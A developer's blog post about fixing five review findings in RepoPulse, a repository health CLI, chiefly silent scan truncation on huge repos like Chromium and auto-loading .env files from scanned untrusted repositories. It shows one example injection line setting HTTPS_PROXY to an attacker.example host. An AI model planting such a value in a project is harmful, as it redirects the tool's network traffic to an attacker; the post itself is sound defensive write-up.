My repository health tool gave Chromium a score. It had only seen part of it.

I build a small CLI called RepoPulse. You point it at a GitHub repository - or a local folder - and it gives you a health report: a score out of 100, pass/warn/fail checks for things like README quality, license, tests, CI workflows, and sensitive file names, plus recommendations you can act on. Last week someone pasted an external security review of it into my terminal. Five findings - security and engineering issues. None were loud crashes; all were the kind of mistake that erodes trust in an analysis tool's results. This is a write-up of the two that changed how I think about building analysis tools - and the fixes, which shipped the same day. The score that looked complete The second finding read, roughly: Local scans silently stop after 5000 files, and the GitHub path uses the recursive tree API without keeping the truncated flag. A huge repository can get a score that looks complete while part of its files never entered the scan. I went and looked. Both halves were true. The local directory walk had a safety cap: MAX_FILES = 5000 for dirpath, dirnames, filenames in os.walk(root): for filename in filenames: if len(files) >= max_files: return files # tuple[list[FileItem], bool]: ... return files, truncated The report model gained one additive field, scan_truncated , and every human-facing format prints an explicit warning. In a test I ran against Chromium with the released 0.3.6 - a repository genuinely too large for the tree API - the output was: chromium/chromium: 62 / 100 - Fair Warning: File listing was truncated (repository too large for a full listing); checks ran on a partial file list and results may be incomplete. Same score the old code would have shown. Completely different meaning. (Scores shift as repositories and checks evolve - treat that 62 as a documented run, not a fixed benchmark.) One detail for the automation crowd: the JSON contract treats additive fields as non-breaking, so scan_truncated landed without a version bump. A later fix in the same batch - more on it below - did change a field's type, and that one forced schema_version 1.0 → 1.1. Having written rules for "what counts as breaking" before you need them turns these decisions into lookups instead of debates. The finding that actually scared me The truncation bug damages trust. The fifth finding had teeth: The CLI auto-loads .env viaload_dotenv() . RepoPulse is a tool designed to scan repositories you may not trust, while it loads environment files from wherever it happens to run. Sit with the combination for a second. The tool's core use case is: clone some repository you found, cd into it, run repopulse scan . . And on startup, the tool called load_dotenv() - which searches for a .env file and loads it into the process environment. Where python-dotenv searches depends on how the process was started. I tested the paths empirically before touching anything, and in common invocation contexts the search lands inside the scanned repository - the current directory in some contexts, or a parent of the virtualenv in the very common "create .venv inside the project" setup. I reproduced the injection locally before fixing it: a .env file inside the scan context could influence RepoPulse's process environment and change the network settings the requests library uses - proxy variables, for instance: HTTPS_PROXY=http://attacker.example:8080 To be precise about the blast radius: redirecting HTTPS through a proxy does not by itself expose the request contents - TLS to api.github.com is tunneled end-to-end, so the Authorization header stays encrypted. Escalating to actual token theft would take additional tampering with TLS trust. But that framing misses the point. For a tool whose job is scanning repositories you may not trust, the repository being scanned must have no way at all to influence the environment the scanner runs in. Environment injection across that boundary is the vulnerability; everything after it is just a question of how far an attacker can push. So the fix was not "search for .env more carefully" or "load only specific keys." The fix was deletion: -from dotenv import load_dotenv - -def load_environment() -> None: - load_dotenv() The dependency is gone from the project entirely. The GitHub token now comes from exactly two places: the --token flag, or the process environment that you or your CI set explicitly. Convenience features and trust boundaries don't compose - when a tool's job is handling untrusted input, every "it just works" path is a path an attacker can walk too. Saying "I don't know" costs something. Pay it. A smaller finding from the same review: offline local scans reported "private": false for every repository - including a clone of a private one. The tool wasn't lying maliciously; it just had a bool field and had to put something there. That's the trap. The schema had no way to say unknown, so the code guessed, and the guess looked exactly like a verified fact. The fix made the field nullable - null in JSON, "Unknown" in reports - and that type change is what bumped the schema version. One version bump is the honest price of admitting uncertainty, and it's cheap compared to automation downstream treating a guess as truth. Three findings, one principle: an analysis tool must never present a guess, a partial result, or a default as a verified fact. Truncation gets a flag. Unknown visibility gets a null . And anything the tool can't verify, it should say so - in the machine output, not just in prose a human might read. What shipped All five findings closed in v0.3.6: partial scans are surfaced explicitly, the tool says "unknown" when it cannot verify repository visibility, .env loading is gone, GitHub Actions are pinned to full commit SHAs with narrowed workflow permissions, and internal operational identifiers were moved out of tracked files. The fixes were written test-first, and each one became a standing rule in the project's contributor docs - so the lessons outlive my memory of the review. If you want the honest-coverage behavior in your own CI, it's two lines now: - uses: 3ssiri/RepoPulse@v1 with: fail-under: "70" The report lands in your workflow run summary, and score , grade , and truncated come out as step outputs - so your pipeline can distinguish "this repository scored 62" from "this repository scored 62 of the part we could see." That distinction is the whole article, really. RepoPulse is MIT-licensed: pip install repopulse-cli (the CLI is repopulse ; the unhyphenated PyPI name is an unrelated package). Repo: https://github.com/3ssiri/RepoPulse - false-positive reports from real repositories are the contribution I want most. Top comments (0)